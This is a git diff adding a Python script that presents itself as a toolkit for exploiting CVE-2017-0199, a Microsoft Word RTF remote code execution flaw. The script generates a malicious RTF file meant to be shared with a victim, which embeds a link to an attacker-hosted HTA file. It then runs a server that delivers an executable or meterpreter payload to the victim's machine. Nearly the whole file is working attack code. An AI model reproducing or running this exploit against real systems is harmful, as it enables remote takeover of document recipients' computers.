diff --git a/cve-2017-0199_toolkit.py b/cve-2017-0199_toolkit.py new file mode 100644 index 0000000..799f7a3 --- /dev/null +++ b/cve-2017-0199_toolkit.py @@ -0,0 +1,181 @@ +import os,sys,thread,socket,sys,getopt + +BACKLOG = 50 # how many pending connections queue will hold +MAX_DATA_RECV = 999999 # max number of bytes we receive at once +DEBUG = True # set to True to see the debug msgs +def main(argv): + # Host and Port information + global port + global host + global filename + global docuri + global port + global payloadurl + global payloadlocation + port = int("80") + host = '0.0.0.0' + # Capture command line arguments + try: + opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation="]) + except getopt.GetoptError: + print 'Help: python '+sys.argv[0]+' -h' + sys.exit(2) + for opt, arg in opts: + if opt == '-h': + print "\nThis is a handy toolkit to exploit CVE-2017-0199 (Microsoft Word RTF RCE)\n" + print "Modes:\n" + print " -M gen Generate Malicious RTF file only\n" + print " Generate malicious RTF file:\n" + print " -w Name of malicious RTF file (Share this file with victim).\n" + print " -u The path to an hta file. Normally, this should be a domain or IP where this tool is running.\n" + print " For example, http://attackerip.com/test.hta (This URL will be included in malicious RTF file and\n" + print " will be requested once victim will open malicious RTF file.\n" + print " -M exp Start exploitation mode\n" + print " Exploitation:\n" + print " -p Local port number.\n" + print " -e The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n" + print " -l Local path of an executable file / meterpreter shell / payload (If payload is hosted locally).\n" + sys.exit() + elif opt in ("-M","--mode"): + mode = arg + elif opt in ("-w", "--filename"): + filename = arg + elif opt in ("-u", "--docuri"): + docuri = arg + elif opt in ("-p", "--port"): + port = int(arg) + elif opt in ("-e", "--payloadurl"): + payloadurl = arg + elif opt in ("-l", "--payloadlocation"): + payloadlocation = arg + if "gen" in mode: + if filename or docuri == None: + print 'Help: python '+sys.argv[0]+' -h' + sys.exit() + print "Generating payload" + generate_exploit_rtf() + if "exp" in mode: + if port or payloadurl or payloadlocation == None: + print 'Help: python '+sys.argv[0]+' -h' + sys.exit() + print "Running exploit mode - waiting for victim to connect" + exploitation() + +def generate_exploit_rtf(): + # Preparing malicious Doc + s = docuri + docuri_hex = "00".join("{:02x}".format(ord(c)) for c in s) + docuri_pad_len = 224 - len(docuri_hex) + docuri_pad = "0"*docuri_pad_len + uri_hex = "010000020900000001000000000000000000000000000000a4000000e0c9ea79f9bace118c8200aa004ba90b8c000000"+docuri_hex+docuri_pad+"00000000795881f43b1d7f48af2c825dc485276300000000a5ab0000ffffffff0609020000000000c00000000000004600000000ffffffff0000000000000000906660a637b5d201000000000000000000000000000000000000000000000000100203000d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + + payload = "{\\rtf1\\adeflang1025\\ansi\\ansicpg1252\\uc1\\adeff31507\\deff0\\stshfdbch31505\\stshfloch31506\\stshfhich31506\\stshfbi31507\\deflang1033\\deflangfe2052\\themelang1033\\themelangfe2052\\themelangcs0\n" + payload += "{\\info\n" + payload += "{\\author }\n" + payload += "{\\operator }\n" + payload += "}\n" + payload += "{\\*\\xmlnstbl {\\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\n" + payload += "{\n" + payload += "{\\object\\objautlink\\objupdate\\rsltpict\\objw291\\objh230\\objscalex99\\objscaley101\n" + payload += "{\\*\\objclass Word.Document.8}\n" + payload += "{\\*\\objdata 0105000002000000\n" + payload += "090000004f4c45324c696e6b000000000000000000000a0000\n" + payload += "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d\n" + payload += "6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000\n" + payload += "000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000\n" + payload += "0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000\n" + payload += "00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n" + payload += uri_hex+"\n" + payload += "0105000000000000}\n" + payload += "{\\result {\\rtlch\\fcs1 \\af31507 \\ltrch\\fcs0 \\insrsid1979324 }}}}\n" + payload += "{\\*\\datastore }\n" + payload += "}\n" + f = open(filename, 'w') + f.write(payload) + f.close() + print "Generated "+filename+" successfully" + +def exploitation(): + + print "Server Running on ",host,":",port + + try: + # create a socket + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # associate the socket to host and port + s.bind((host, port)) + + # listenning + s.listen(BACKLOG) + + except socket.error, (value, message): + if s: + s.close() + print "Could not open socket:", message + sys.exit(1) + + # get the connection from client + while 1: + conn, client_addr = s.accept() + + # create a thread to handle request + thread.start_new_thread(server_thread, (conn, client_addr)) + + s.close() + +def server_thread(conn, client_addr): + + # get the request from browser + try: + request = conn.recv(MAX_DATA_RECV) + if (len(request) > 0): + # parse the first line + first_line = request.split('\n')[0] + + # get method + method = first_line.split(' ')[0] + # get url + url = first_line.split(' ')[1] + check_exe_request = url.find('.exe') + if (check_exe_request > 0): + print "Received request for payload from "+client_addr[0] + size = os.path.getsize(payloadlocation) + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n" + with open(payloadlocation) as fin: + data +=fin.read() + conn.send(data) + conn.close() + sys.exit(1) + if method in ['GET', 'get']: + print "Received GET method from "+client_addr[0] + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n\r\n" + conn.send(data) + conn.close() + if method in ['OPTIONS', 'options']: + print "Receiver OPTIONS method from "+client_addr[0] + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html" + conn.send(data) + conn.close() + if method in ['HEAD', 'head']: + print "Received HEAD method from "+client_addr[0] + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n" + conn.send(data) + conn.close() + sys.exit(1) + except socket.error, ex: + print ex +if __name__ == '__main__': + main(sys.argv[1:])